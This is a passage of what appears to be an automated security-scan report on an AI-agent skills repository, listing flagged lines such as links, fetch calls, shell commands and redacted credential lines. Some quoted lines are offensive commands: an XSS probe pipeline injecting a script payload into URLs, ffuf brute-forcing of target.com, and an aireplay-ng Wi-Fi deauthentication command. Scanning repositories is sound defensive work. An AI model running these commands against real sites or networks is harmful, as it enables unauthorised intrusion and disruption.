    [Credential-related source omitted]
  • Network accessline 888
    - **pytest documentation**: https://docs.pytest.org/
  • Network accessline 889
    - **unittest.mock**: https://docs.python.org/3/library/unittest.mock.html

skills/radix-ui-design-system/SKILL.md

  • Network accessline 805
    ### Official Documentation - [Radix UI Docs](https://www.radix-ui.com/primitives)
  • Network accessline 806
    - [Radix UI Docs](https://www.radix-ui.com/primitives)
  • Network accessline 807
    - [Radix Colors](https://www.radix-ui.com/colors) - Accessible color system
  • Network accessline 808
    - [Radix Icons](https://www.radix-ui.com/icons) - Icon library
  • Network accessline 810
    ### Community Resources - [shadcn/ui](https://ui.shadcn.com) - Component collection
  • Network accessline 811
    - [shadcn/ui](https://ui.shadcn.com) - Component collection
  • Network accessline 812
    - [Radix UI Discord](https://discord.com/invite/7Xb99uG) - Community support
  • Network accessline 813
    - [CVA Documentation](https://cva.style/docs) - Variant management
  • Network accessline 815
    ### Examples - [Radix Playground](https://www.radix-ui.com/primitives/docs/overview/introduction#try-it-out)
  • Network accessline 816
    - [Radix Playground](https://www.radix-ui.com/primitives/docs/overview/introduction#try-it-out)
  • Network accessline 817
    - [shadcn/ui Source](https://github.com/shadcn-ui/ui) - Production examples

skills/radix-ui-design-system/examples/README.md

  • Network accessline 61
    - [Main SKILL.md](../SKILL.md) - Complete guide - [Component Template](../templates/component-template.tsx) - Boilerplate - [Radix UI Docs](https://www.radix-ui.com/primitives)
  • Network accessline 63
    - [Radix UI Docs](https://www.radix-ui.com/primitives)

skills/radix-ui-design-system/examples/dialog-example.tsx

  • Executable scriptline 1
    Executable file

skills/radix-ui-design-system/examples/dropdown-example.tsx

  • Executable scriptline 1
    Executable file

skills/radix-ui-design-system/templates/component-template.tsx

  • Executable scriptline 1
    Executable file

skills/rag-implementation/SKILL.md

  • Access to secretsline 244
    [Credential-related source omitted]
  • Network accessline 256
    client = weaviate.Client("http://localhost:8080")

skills/react-best-practices/AGENTS.md

  • Network accessline 191
    Reference: [https://github.com/shuding/better-all](https://github.com/shuding/better-all)
  • Network accessline 410
    Reference: [https://vercel.com/blog/how-we-optimized-package-imports-in-next-js](https://vercel.com/blog/how-we-optimized-package-imports-in-next-js)
  • Network accessline 600
    **With Vercel's [Fluid Compute](https://vercel.com/docs/fluid-compute):** LRU caching is especially effective because multiple concurrent requests can share the same function instance and cache. This means the cache persists across requests
  • Network accessline 604
    Reference: [https://github.com/isaacs/node-lru-cache](https://github.com/isaacs/node-lru-cache)
  • Network accessline 809
    Reference: [https://nextjs.org/docs/app/api-reference/functions/after](https://nextjs.org/docs/app/api-reference/functions/after)
  • Network accessline 899
    const [users, setUsers] = useState([])   useEffect(() => {     fetch('/api/users')
  • Network accessline 900
    useEffect(() => {     fetch('/api/users')       .then(r => r.json())
  • Network accessline 901
    fetch('/api/users')
  • Network accessline 939
    Reference: [https://swr.vercel.app](https://swr.vercel.app)
  • Network accessline 1022
    **Note:** If your project has [React Compiler](https://react.dev/learn/react-compiler) enabled, manual memoization with `memo()` and `useMemo()` is not necessary. The compiler automatically optimizes re-renders.
  • Network accessline 1166
    **Note:** If your project has [React Compiler](https://react.dev/learn/react-compiler) enabled, the compiler can automatically optimize some cases, but functional updates are still recommended for correctness and to prevent stale closure bu
  • Network accessline 1383
    **Note:** If your project has [React Compiler](https://react.dev/learn/react-compiler) enabled, the compiler automatically hoists static JSX elements and optimizes component re-renders, making manual hoisting unnecessary.
  • Network accessline 1763
    Reference: [https://vercel.com/blog/how-we-made-the-vercel-dashboard-twice-as-fast](https://vercel.com/blog/how-we-made-the-vercel-dashboard-twice-as-fast)
  • Network accessline 2243
    1. [https://react.dev](https://react.dev)
  • Network accessline 2244
    2. [https://nextjs.org](https://nextjs.org)
  • Network accessline 2245
    3. [https://swr.vercel.app](https://swr.vercel.app)
  • Network accessline 2246
    4. [https://github.com/shuding/better-all](https://github.com/shuding/better-all)
  • Network accessline 2247
    5. [https://github.com/isaacs/node-lru-cache](https://github.com/isaacs/node-lru-cache)
  • Network accessline 2248
    6. [https://vercel.com/blog/how-we-optimized-package-imports-in-next-js](https://vercel.com/blog/how-we-optimized-package-imports-in-next-js)
  • Network accessline 2249
    7. [https://vercel.com/blog/how-we-made-the-vercel-dashboard-twice-as-fast](https://vercel.com/blog/how-we-made-the-vercel-dashboard-twice-as-fast)

skills/react-best-practices/README.md

  • Network accessline 84
    Reference: [Link](https://example.com)
  • Network accessline 123
    Originally created by [@shuding](https://x.com/shuding) at [Vercel](https://vercel.com).

skills/react-best-practices/metadata.json

  • Network accessline 5
    "abstract": "Comprehensive performance optimization guide for React and Next.js applications, designed for AI agents and LLMs. Contains 40+ rules across 8 categories, prioritized by impact from critical (eliminating waterfalls, reducing bun
  • Network accessline 6
    "references": [     "https://react.dev",     "https://nextjs.org",
  • Network accessline 7
    "https://react.dev",
  • Network accessline 8
    "https://nextjs.org",
  • Network accessline 9
    "https://swr.vercel.app",
  • Network accessline 10
    "https://github.com/shuding/better-all",
  • Network accessline 11
    "https://github.com/isaacs/node-lru-cache",
  • Network accessline 12
    "https://vercel.com/blog/how-we-optimized-package-imports-in-next-js",
  • Network accessline 13
    "https://vercel.com/blog/how-we-made-the-vercel-dashboard-twice-as-fast"

skills/react-best-practices/rules/_template.md

  • Network accessline 28
    Reference: [Link to documentation or resource](https://example.com)

skills/react-best-practices/rules/async-dependencies.md

  • Network accessline 36
    Reference: [https://github.com/shuding/better-all](https://github.com/shuding/better-all)

skills/react-best-practices/rules/bundle-barrel-imports.md

  • Network accessline 59
    Reference: [How we optimized package imports in Next.js](https://vercel.com/blog/how-we-optimized-package-imports-in-next-js)

skills/react-best-practices/rules/client-swr-dedup.md

  • Network accessline 16
    const [users, setUsers] = useState([])   useEffect(() => {     fetch('/api/users')
  • Network accessline 17
    useEffect(() => {     fetch('/api/users')       .then(r => r.json())
  • Network accessline 18
    fetch('/api/users')
  • Network accessline 56
    Reference: [https://swr.vercel.app](https://swr.vercel.app)

skills/react-best-practices/rules/js-cache-function-results.md

  • Network accessline 80
    Reference: [How we made the Vercel Dashboard twice as fast](https://vercel.com/blog/how-we-made-the-vercel-dashboard-twice-as-fast)

skills/react-best-practices/rules/rendering-hoist-jsx.md

  • Network accessline 46
    **Note:** If your project has [React Compiler](https://react.dev/learn/react-compiler) enabled, the compiler automatically hoists static JSX elements and optimizes component re-renders, making manual hoisting unnecessary.

skills/react-best-practices/rules/rerender-functional-setstate.md

  • Network accessline 74
    **Note:** If your project has [React Compiler](https://react.dev/learn/react-compiler) enabled, the compiler can automatically optimize some cases, but functional updates are still recommended for correctness and to prevent stale closure bu

skills/react-best-practices/rules/rerender-memo.md

  • Network accessline 44
    **Note:** If your project has [React Compiler](https://react.dev/learn/react-compiler) enabled, manual memoization with `memo()` and `useMemo()` is not necessary. The compiler automatically optimizes re-renders.

skills/react-best-practices/rules/server-after-nonblocking.md

  • Network accessline 73
    Reference: [https://nextjs.org/docs/app/api-reference/functions/after](https://nextjs.org/docs/app/api-reference/functions/after)

skills/react-best-practices/rules/server-cache-lru.md

  • Network accessline 37
    **With Vercel's [Fluid Compute](https://vercel.com/docs/fluid-compute):** LRU caching is especially effective because multiple concurrent requests can share the same function instance and cache. This means the cache persists across requests
  • Network accessline 41
    Reference: [https://github.com/isaacs/node-lru-cache](https://github.com/isaacs/node-lru-cache)

skills/react-modernization/resources/implementation-playbook.md

  • Network accessline 104
    fetchData = async () => {     const data = await fetch(`/api/${this.props.id}`);
  • Network accessline 105
    const data = await fetch(`/api/${this.props.id}`);
  • Network accessline 127
    const fetchData = async () => {       try {         const response = await fetch(`/api/${id}`);
  • Network accessline 128
    try {         const response = await fetch(`/api/${id}`);         const result = await response.json();
  • Network accessline 129
    const response = await fetch(`/api/${id}`);

skills/react-native-architecture/resources/implementation-playbook.md

  • Network accessline 667
    - [Expo Documentation](https://docs.expo.dev/)
  • Network accessline 668
    - [Expo Router](https://docs.expo.dev/router/introduction/)
  • Network accessline 669
    - [React Native Performance](https://reactnative.dev/docs/performance)
  • Network accessline 670
    - [FlashList](https://shopify.github.io/flash-list/)

skills/react-state-management/SKILL.md

  • Network accessline 154
    async (userId: string, { rejectWithValue }) => {     try {       const response = await fetch(`/api/users/${userId}`)
  • Network accessline 155
    try {       const response = await fetch(`/api/users/${userId}`)       if (!response.ok) throw new Error('Failed to fetch user')
  • Network accessline 156
    const response = await fetch(`/api/users/${userId}`)
  • Network accessline 266
    const user = get(userAtom)   if (!user) return null   const response = await fetch(`/api/users/${user.id}/profile`)
  • Network accessline 267
    if (!user) return null   const response = await fetch(`/api/users/${user.id}/profile`)   return response.json()
  • Network accessline 268
    const response = await fetch(`/api/users/${user.id}/profile`)
  • Network accessline 440
    - [Redux Toolkit Documentation](https://redux-toolkit.js.org/)
  • Network accessline 441
    - [Zustand GitHub](https://github.com/pmndrs/zustand)
  • Network accessline 442
    - [Jotai Documentation](https://jotai.org/)
  • Network accessline 443
    - [TanStack Query](https://tanstack.com/query)

skills/readme/SKILL.md

  • Network accessline 2
    name: readme description: "When the user wants to create or update a README.md file for a project. Also use when the user says 'write readme,' 'create readme,' 'document this project,' 'project documentation,' or asks for he..." source: "ht
  • Network accessline 3
    description: "When the user wants to create or update a README.md file for a project. Also use when the user says 'write readme,' 'create readme,' 'document this project,' 'project documentation,' or asks for he..." source: "https://github.
  • Network accessline 4
    source: "https://github.com/Shpigford/skills/tree/main/readme"
  • Network accessline 159
    \`\`\`bash git clone https://github.com/user/repo.git
  • Network accessline 160
    git clone https://github.com/user/repo.git
  • Access to secretsline 183
    [Credential-related source omitted]
  • Network accessline 238
    Open [http://localhost:3000](http://localhost:3000) in your browser.
  • Access to secretsline 402
    [Credential-related source omitted]
  • Dangerous shell operationline 702
    sudo systemctl restart myapp
  • Dangerous shell operationline 758
    sudo apt-get install libpq-dev
  • Dangerous shell operationline 771
    2. Or regenerate credentials: `rm config/credentials.yml.enc && bin/rails credentials:edit`
  • Dangerous shell operationline 782
    rm -rf node_modules/.vite
  • Dangerous shell operationline 786
    rm -rf node_modules && yarn install

skills/red-team-tactics/SKILL.md

  • Dangerous shell operationline 95
    | Sudo misconfiguration | Command execution |

skills/red-team-tools/SKILL.md

  • Network accessline 50
    # Alternative ASN lookup curl -s "https://bgp.he.net/search?search=targetcompany&commit=Search"
  • Network accessline 51
    curl -s "https://bgp.he.net/search?search=targetcompany&commit=Search"
  • Network accessline 119
    # Directory bruteforce with ffuf ffuf -ac -v -u https://target.com/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
  • Network accessline 120
    ffuf -ac -v -u https://target.com/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
  • Network accessline 166
    # Alternative workflow waybackurls target.com | grep "=" | qsreplace '"><script>alert(1)</script>' | while read url; do     curl -s "$url" | grep -q 'alert(1)' && echo "$url"
  • Network accessline 167
    waybackurls target.com | grep "=" | qsreplace '"><script>alert(1)</script>' | while read url; do     curl -s "$url" | grep -q 'alert(1)' && echo "$url" done > potential_xss.txt
  • Network accessline 168
    curl -s "$url" | grep -q 'alert(1)' && echo "$url"
  • Network accessline 190
    # Enumerate API endpoints ffuf -u https://target.com/api/FUZZ -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt
  • Network accessline 191
    ffuf -u https://target.com/api/FUZZ -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt
  • Network accessline 193
    # Test API versions ffuf -u https://target.com/api/v1/FUZZ -w api_wordlist.txt
  • Network accessline 194
    ffuf -u https://target.com/api/v1/FUZZ -w api_wordlist.txt
  • Network accessline 195
    ffuf -u https://target.com/api/v2/FUZZ -w api_wordlist.txt
  • Network accessline 197
    # Check for hidden methods for method in GET POST PUT DELETE PATCH; do     curl -X $method https://target.com/api/users -v
  • Network accessline 198
    for method in GET POST PUT DELETE PATCH; do     curl -X $method https://target.com/api/users -v done
  • Network accessline 199
    curl -X $method https://target.com/api/users -v

skills/reddit-automation/SKILL.md

  • Network accessline 22
    **Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.

skills/remotion-best-practices/rules/assets.md

  • Network accessline 71
    <Img src="https://example.com/image.png" />
  • Network accessline 72
    <Video src="https://remotion.media/video.mp4" />

skills/remotion-best-practices/rules/assets/charts-bar-chart.tsx

  • Executable scriptline 1
    Executable file

skills/remotion-best-practices/rules/assets/text-animations-typewriter.tsx

  • Executable scriptline 1
    Executable file

skills/remotion-best-practices/rules/assets/text-animations-word-highlight.tsx

  • Executable scriptline 1
    Executable file

skills/remotion-best-practices/rules/audio.md

  • Network accessline 38
    <Audio src="https://remotion.media/audio.mp3" />

skills/remotion-best-practices/rules/calculate-metadata.md

  • Network accessline 13
    <Composition id="MyComp" component={MyComponent} durationInFrames={300} fps={30} width={1920} height={1080} defaultProps={{videoSrc: 'https://remotion.media/video.mp4'}} calculateMetadata={calculateMetadata} />
  • Network accessline 79
    const calculateMetadata: CalculateMetadataFunction<Props> = async ({props, abortSignal}) => {   const response = await fetch(props.dataUrl, {signal: abortSignal});
  • Network accessline 80
    const response = await fetch(props.dataUrl, {signal: abortSignal});

skills/remotion-best-practices/rules/can-decode.md

  • Network accessline 50
    const src = "https://remotion.media/video.mp4";

skills/remotion-best-practices/rules/compositions.md

  • Network accessline 115
    abortSignal, }) => {   const data = await fetch(`https://api.example.com/video/${props.videoId}`, {
  • Network accessline 116
    }) => {   const data = await fetch(`https://api.example.com/video/${props.videoId}`, {     signal: abortSignal,
  • Network accessline 117
    const data = await fetch(`https://api.example.com/video/${props.videoId}`, {

skills/remotion-best-practices/rules/extract-frames.md

  • Network accessline 108
    await extractFrames({   src: "https://remotion.media/video.mp4",
  • Network accessline 109
    src: "https://remotion.media/video.mp4",
  • Network accessline 131
    await extractFrames({   src: "https://remotion.media/video.mp4",
  • Network accessline 132
    src: "https://remotion.media/video.mp4",
  • Network accessline 170
    try {   await extractFrames({     src: "https://remotion.media/video.mp4",
  • Network accessline 171
    await extractFrames({     src: "https://remotion.media/video.mp4",     timestampsInSeconds: [0, 1, 2, 3, 4],
  • Network accessline 172
    src: "https://remotion.media/video.mp4",
  • Network accessline 208
    await Promise.race([     extractFrames({       src: "https://remotion.media/video.mp4",
  • Network accessline 209
    extractFrames({       src: "https://remotion.media/video.mp4",       timestampsInSeconds: [0, 1, 2, 3, 4],
  • Network accessline 210
    src: "https://remotion.media/video.mp4",

skills/remotion-best-practices/rules/get-audio-duration.md

  • Network accessline 33
    const duration = await getAudioDuration("https://remotion.media/audio.mp3");

skills/remotion-best-practices/rules/get-video-dimensions.md

  • Network accessline 40
    const dimensions = await getVideoDimensions("https://remotion.media/video.mp4");

skills/remotion-best-practices/rules/get-video-duration.md

  • Network accessline 33
    const duration = await getVideoDuration("https://remotion.media/video.mp4");

skills/remotion-best-practices/rules/gifs.md

  • Network accessline 25
    <AnimatedImage src="https://example.com/animation.gif" width={500} height={500} />

skills/remotion-best-practices/rules/images.md

  • Network accessline 57
    <Img src="https://example.com/image.png" />

skills/remotion-best-practices/rules/import-srt-captions.md

  • Network accessline 39
    const fetchCaptions = useCallback(async () => {     try {       const response = await fetch(staticFile('subtitles.srt'));
  • Network accessline 40
    try {       const response = await fetch(staticFile('subtitles.srt'));       const text = await response.text();
  • Network accessline 41
    const response = await fetch(staticFile('subtitles.srt'));
  • Network accessline 63
    Remote URLs are also supported - you can `fetch()` a remote file via URL instead of using `staticFile()`.

skills/remotion-best-practices/rules/lottie.md

  • Network accessline 41
    useEffect(() => {     fetch('https://assets4.lottiefiles.com/packages/lf20_zyquagfl.json')
  • Network accessline 42
    fetch('https://assets4.lottiefiles.com/packages/lf20_zyquagfl.json')

skills/remotion-best-practices/rules/tailwind.md

  • Network accessline 11
    Tailwind must be installed and enabled first in a Remotion project - fetch  https://www.remotion.dev/docs/tailwind using WebFetch for instructions.

skills/remotion-best-practices/rules/transcribe-captions.md

  • Network accessline 12
    - `@remotion/install-whisper-cpp` - Transcribe locally on a server using Whisper.cpp. Fast and free, but requires server infrastructure.   https://remotion.dev/docs/install-whisper-cpp
  • Network accessline 13
    https://remotion.dev/docs/install-whisper-cpp
  • Network accessline 15
    - `@remotion/whisper-web` - Transcribe in the browser using WebAssembly. No server needed and free, but slower due to WASM overhead.   https://remotion.dev/docs/whisper-web
  • Network accessline 16
    https://remotion.dev/docs/whisper-web
  • Network accessline 18
    - `@remotion/openai-whisper` - Use OpenAI Whisper API for cloud-based transcription. Fast and no server needed, but requires payment.   https://remotion.dev/docs/openai-whisper/openai-whisper-api-to-captions
  • Network accessline 19
    https://remotion.dev/docs/openai-whisper/openai-whisper-api-to-captions

skills/remotion-best-practices/rules/videos.md

  • Network accessline 36
    <Video src="https://remotion.media/video.mp4" />

skills/render-automation/SKILL.md

  • Network accessline 22
    **Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.

skills/risk-metrics-calculation/resources/implementation-playbook.md

  • Network accessline 552
    - [Risk Management and Financial Institutions (John Hull)](https://www.amazon.com/Risk-Management-Financial-Institutions-5th/dp/1119448115)
  • Network accessline 553
    - [Quantitative Risk Management (McNeil, Frey, Embrechts)](https://www.amazon.com/Quantitative-Risk-Management-Techniques-Princeton/dp/0691166277)
  • Network accessline 554
    - [pyfolio Documentation](https://quantopian.github.io/pyfolio/)

skills/rust-async-patterns/resources/implementation-playbook.md

  • Network accessline 60
    // Async operations     let result = fetch_data("https://api.example.com").await?;
  • Network accessline 61
    let result = fetch_data("https://api.example.com").await?;
  • Network accessline 514
    - [Tokio Tutorial](https://tokio.rs/tokio/tutorial)
  • Network accessline 515
    - [Async Book](https://rust-lang.github.io/async-book/)
  • Network accessline 516
    - [Tokio Console](https://github.com/tokio-rs/console)

skills/saga-orchestration/SKILL.md

  • Network accessline 497
    - [Saga Pattern](https://microservices.io/patterns/data/saga.html)
  • Network accessline 498
    - [Designing Data-Intensive Applications](https://dataintensive.net/)

skills/salesforce-automation/SKILL.md

  • Network accessline 22
    **Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.

skills/sast-configuration/SKILL.md

  • Network accessline 115
    # .pre-commit-config.yaml - repo: https://github.com/returntocorp/semgrep
  • Network accessline 116
    - repo: https://github.com/returntocorp/semgrep

skills/scanning-tools/SKILL.md

  • Dangerous shell operationline 117
    sudo systemctl start nessusd
  • Network accessline 119
    # Access web interface # https://localhost:8834
  • Network accessline 120
    # https://localhost:8834
  • Dangerous shell operationline 142
    sudo apt install openvas
  • Dangerous shell operationline 143
    sudo gvm-setup
  • Dangerous shell operationline 146
    sudo gvm-start
  • Network accessline 148
    # Access web interface (Greenbone Security Assistant) # https://localhost:9392
  • Network accessline 149
    # https://localhost:9392
  • Network accessline 201
    # Automated scan from CLI zap-cli quick-scan https://target.com
  • Network accessline 202
    zap-cli quick-scan https://target.com
  • Network accessline 204
    # Full scan zap-cli spider https://target.com
  • Network accessline 205
    zap-cli spider https://target.com
  • Network accessline 206
    zap-cli active-scan https://target.com
  • Network accessline 217
    # Docker-based scanning docker run -t owasp/zap2docker-stable zap-full-scan.py \   -t https://target.com -r report.html
  • Network accessline 218
    docker run -t owasp/zap2docker-stable zap-full-scan.py    -t https://target.com -r report.html
  • Network accessline 219
    -t https://target.com -r report.html
  • Network accessline 221
    # Baseline scan (passive only) docker run -t owasp/zap2docker-stable zap-baseline.py \   -t https://target.com -r report.html
  • Network accessline 222
    docker run -t owasp/zap2docker-stable zap-baseline.py    -t https://target.com -r report.html
  • Network accessline 223
    -t https://target.com -r report.html
  • Network accessline 231
    # Basic scan nikto -h https://target.com
  • Network accessline 232
    nikto -h https://target.com
  • Dangerous shell operationline 264
    sudo airmon-ng start wlan0
  • Dangerous shell operationline 267
    sudo airodump-ng wlan0mon
  • Dangerous shell operationline 270
    sudo airodump-ng -c <channel> --bssid <target_bssid> -w capture wlan0mon
  • Dangerous shell operationline 273
    sudo aireplay-ng -0 10 -a <bssid> wlan0mon
  • Network accessline 293
    # Access web interface # http://localhost:2501
  • Network accessline 294
    # http://localhost:2501
  • Dangerous shell operationline 309
    sudo freshclam
  • Dangerous shell operationline 413
    sudo lynis audit system
  • Dangerous shell operationline 416
    sudo lynis audit system --quick
  • Dangerous shell operationline 419
    sudo lynis audit system --profile server
  • Dangerous shell operationline 422
    sudo lynis audit system --report-file /tmp/lynis-report.dat
  • Dangerous shell operationline 425
    sudo lynis show profiles
  • Dangerous shell operationline 426
    sudo lynis audit system --tests-from-group malware

skills/schema-markup/SKILL.md

  • Network accessline 328
    {   "@context": "https://schema.org",
  • Network accessline 329
    "@context": "https://schema.org",

skills/screen-reader-testing/resources/implementation-playbook.md

  • Network accessline 541
    - [VoiceOver User Guide](https://support.apple.com/guide/voiceover/welcome/mac)
  • Network accessline 542
    - [NVDA User Guide](https://www.nvaccess.org/files/nvda/documentation/userGuide.html)
  • Network accessline 543
    - [JAWS Documentation](https://support.freedomscientific.com/Products/Blindness/JAWS)
  • Network accessline 544
    - [WebAIM Screen Reader Survey](https://webaim.org/projects/screenreadersurvey/)

skills/screenshots/SKILL.md

  • Network accessline 2
    name: screenshots description: "Generate marketing screenshots of your app using Playwright. Use when the user wants to create screenshots for Product Hunt, social media, landing pages, or documentation." source: "https://github.com/Shpigfo
  • Network accessline 3
    description: "Generate marketing screenshots of your app using Playwright. Use when the user wants to create screenshots for Product Hunt, social media, landing pages, or documentation." source: "https://github.com/Shpigford/skills/tree/mai
  • Network accessline 4
    source: "https://github.com/Shpigford/skills/tree/main/screenshots"
  • Network accessline 39
    Common default URLs to suggest: - `http://localhost:3000` (Next.js, Create React App, Rails)
  • Network accessline 40
    - `http://localhost:3000` (Next.js, Create React App, Rails)
  • Network accessline 41
    - `http://localhost:5173` (Vite)
  • Network accessline 42
    - `http://localhost:4000` (Phoenix)
  • Network accessline 43
    - `http://localhost:8080` (Vue CLI, generic)
  • Dangerous shell operationline 289
    rm screenshot-script.mjs

skills/secrets-management/SKILL.md

  • Network accessline 76
    # Set environment export VAULT_ADDR='http://127.0.0.1:8200'
  • Network accessline 77
    export VAULT_ADDR='http://127.0.0.1:8200'
  • Access to secretsline 78
    [Credential-related source omitted]
  • Network accessline 101
    uses: hashicorp/vault-action@v2       with:         url: https://vault.example.com:8200
  • Network accessline 102
    [Credential-related source omitted]
  • Network accessline 103
    url: https://vault.example.com:8200
  • Access to secretsline 108
    [Credential-related source omitted]
  • Access to secretsline 113
    [Credential-related source omitted]
  • Network accessline 120
    image: vault:latest   before_script:     - export VAULT_ADDR=https://vault.example.com:8200
  • Network accessline 121
    [Credential-related source omitted]
  • Network accessline 122
    [Credential-related source omitted]
  • Network accessline 123
    [Credential-related source omitted]
  • Access to secretsline 123
    [Credential-related source omitted]
  • Network accessline 124
    - apk add curl jq
  • Access to secretsline 128
    [Credential-related source omitted]
  • Access to secretsline 130
    [Credential-related source omitted]
  • Access to secretsline 193
    [Credential-related source omitted]
  • Access to secretsline 206
    [Credential-related source omitted]
  • Access to secretsline 218
    [Credential-related source omitted]
  • Network accessline 292
    provider:     vault:       server: "https://vault.example.com:8200"
  • Network accessline 293
    vault:       server: "https://vault.example.com:8200"       path: "secret"
  • Network accessline 294
    server: "https://vault.example.com:8200"

skills/security-bluebook-builder/SKILL.md

  • Network accessline 2
    name: security-bluebook-builder description: "Build security Blue Books for sensitive apps" source: "https://github.com/SHADOWPR0/security-bluebook-builder"
  • Network accessline 3
    description: "Build security Blue Books for sensitive apps" source: "https://github.com/SHADOWPR0/security-bluebook-builder" risk: safe
  • Network accessline 4
    source: "https://github.com/SHADOWPR0/security-bluebook-builder"
  • Network accessline 22
    For more information, see the [source repository](https://github.com/SHADOWPR0/security-bluebook-builder).

skills/security-compliance-compliance-check/resources/implementation-playbook.md

  • Access to secretsline 570
    [Credential-related source omitted]
  • Access to secretsline 580
    [Credential-related source omitted]
  • Access to secretsline 582
    [Credential-related source omitted]

skills/security-requirement-extraction/resources/implementation-playbook.md

  • Network accessline 674
    - [OWASP ASVS](https://owasp.org/www-project-application-security-verification-standard/)
  • Network accessline 675
    - [NIST SP 800-53](https://csrc.nist.gov/publications/detail/sp/800-53/rev-5/final)
  • Network accessline 676
    - [Security User Stories](https://www.oreilly.com/library/view/agile-application-security/9781491938836/)

skills/security-scanning-security-dependencies/resources/implementation-playbook.md

  • Network accessline 469
    return {             "version": "2.1.0",             "$schema": "https://raw.githubusercontent.com/oasis-tcs/sarif-spec/master/Schemata/sarif-schema-2.1.0.json",
  • Network accessline 470
    "version": "2.1.0",             "$schema": "https://raw.githubusercontent.com/oasis-tcs/sarif-spec/master/Schemata/sarif-schema-2.1.0.json",             "runs": [{
  • Network accessline 471
    "$schema": "https://raw.githubusercontent.com/oasis-tcs/sarif-spec/master/Schemata/sarif-schema-2.1.0.json",

skills/security-scanning-security-sast/SKILL.md

  • Access to secretsline 201
    [Credential-related source omitted]
  • Access to secretsline 266
    [Credential-related source omitted]
  • Network accessline 289
    [Credential-related source omitted]
  • Access to secretsline 289
    [Credential-related source omitted]
  • Network accessline 291
    CORS(app, origins=['https://example.com'])
  • Network accessline 303
    app.use(helmet()); app.use(cors({ origin: 'https://example.com' }));
  • Network accessline 304
    app.use(cors({ origin: 'https://example.com' }));

skills/security/aws-compliance-checker/SKILL.md

  • Network accessline 514
    - [CIS AWS Foundations Benchmark](https://www.cisecurity.org/benchmark/amazon_web_services)
  • Network accessline 515
    - [AWS Security Hub](https://aws.amazon.com/security-hub/)
  • Network accessline 516
    - [AWS Compliance Programs](https://aws.amazon.com/compliance/programs/)

skills/security/aws-iam-best-practices/SKILL.md

  • Access to secretsline 121
    [Credential-related source omitted]
  • Access to secretsline 124
    [Credential-related source omitted]
  • Access to secretsline 126
    [Credential-related source omitted]
  • Network accessline 395
    - [IAM Best Practices](https://docs.aws.amazon.com/IAM/latest/UserGuide/best-practices.html)
  • Network accessline 396
    - [IAM Policy Simulator](https://policysim.aws.amazon.com/)
  • Network accessline 397
    - [IAM Access Analyzer](https://aws.amazon.com/iam/features/analyze-access/)

skills/security/aws-secrets-rotation/SKILL.md

  • Access to secretsline 54
    [Credential-related source omitted]
  • Access to secretsline 59
    [Credential-related source omitted]
  • Access to secretsline 61
    [Credential-related source omitted]
  • Network accessline 194
    if step == "createSecret":         # Create new Stripe key via API         response = requests.post(
  • Network accessline 195
    # Create new Stripe key via API         response = requests.post(             'https://api.stripe.com/v1/api_keys',
  • Network accessline 196
    response = requests.post(
  • Network accessline 197
    'https://api.stripe.com/v1/api_keys',
  • Access to secretsline 198
    [Credential-related source omitted]
  • Access to secretsline 203
    [Credential-related source omitted]
  • Network accessline 211
    elif step == "testSecret":         # Test new key         response = requests.get(
  • Network accessline 212
    # Test new key         response = requests.get(             'https://api.stripe.com/v1/balance',
  • Network accessline 213
    response = requests.get(
  • Network accessline 214
    'https://api.stripe.com/v1/balance',
  • Access to secretsline 215
    [Credential-related source omitted]
  • Network accessline 221
    # Revoke old key         old_key = json.loads(current['SecretString'])['api_key']         requests.delete(
  • Network accessline 222
    [Credential-related source omitted]
  • Access to secretsline 222
    [Credential-related source omitted]
  • Network accessline 223
    requests.delete(
  • Network accessline 224
    f'https://api.stripe.com/v1/api_keys/{old_key}',
  • Access to secretsline 225
    [Credential-related source omitted]
  • Network accessline 463
    - [AWS Secrets Manager Rotation](https://docs.aws.amazon.com/secretsmanager/latest/userguide/rotating-secrets.html)
  • Network accessline 464
    - [Rotation Lambda Templates](https://github.com/aws-samples/aws-secrets-manager-rotation-lambdas)
  • Network accessline 465
    - [Best Practices for Secrets](https://docs.aws.amazon.com/secretsmanager/latest/userguide/best-practices.html)

skills/security/aws-security-audit/SKILL.md

  • Network accessline 367
    - [AWS Security Best Practices](https://aws.amazon.com/security/best-practices/)
  • Network accessline 368
    - [CIS AWS Foundations Benchmark](https://www.cisecurity.org/benchmark/amazon_web_services)
  • Network accessline 369
    - [AWS Security Hub](https://aws.amazon.com/security-hub/)

skills/segment-automation/SKILL.md

  • Network accessline 22
    **Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.

skills/sendgrid-automation/SKILL.md

  • Network accessline 22
    **Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.

skills/senior-architect/SKILL.md

  • Access to secretsline 128
    [Credential-related source omitted]

skills/senior-architect/scripts/architecture_diagram_generator.py

  • Executable scriptline 1
    #!/usr/bin/env python3

skills/senior-architect/scripts/dependency_analyzer.py

  • Executable scriptline 1
    #!/usr/bin/env python3

skills/senior-architect/scripts/project_architect.py

  • Executable scriptline 1
    #!/usr/bin/env python3

skills/senior-fullstack/SKILL.md

  • Access to secretsline 128
    [Credential-related source omitted]

skills/senior-fullstack/scripts/code_quality_analyzer.py

  • Executable scriptline 1
    #!/usr/bin/env python3

skills/senior-fullstack/scripts/fullstack_scaffolder.py

  • Executable scriptline 1
    #!/usr/bin/env python3

skills/senior-fullstack/scripts/project_scaffolder.py

  • Executable scriptline 1
    #!/usr/bin/env python3

skills/sentry-automation/SKILL.md

  • Network accessline 22
    **Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.

skills/seo-fundamentals/scripts/seo_checker.py

  • Executable scriptline 1
    #!/usr/bin/env python3

skills/server-management/SKILL.md

  • Broad permissionsline 1
    Read, Write, Edit, Glob, Grep, Bash

skills/service-mesh-observability/SKILL.md

  • Network accessline 271
    external_services:     prometheus:       url: http://prometheus.istio-system:9090
  • Network accessline 272
    prometheus:       url: http://prometheus.istio-system:9090     tracing:
  • Network accessline 273
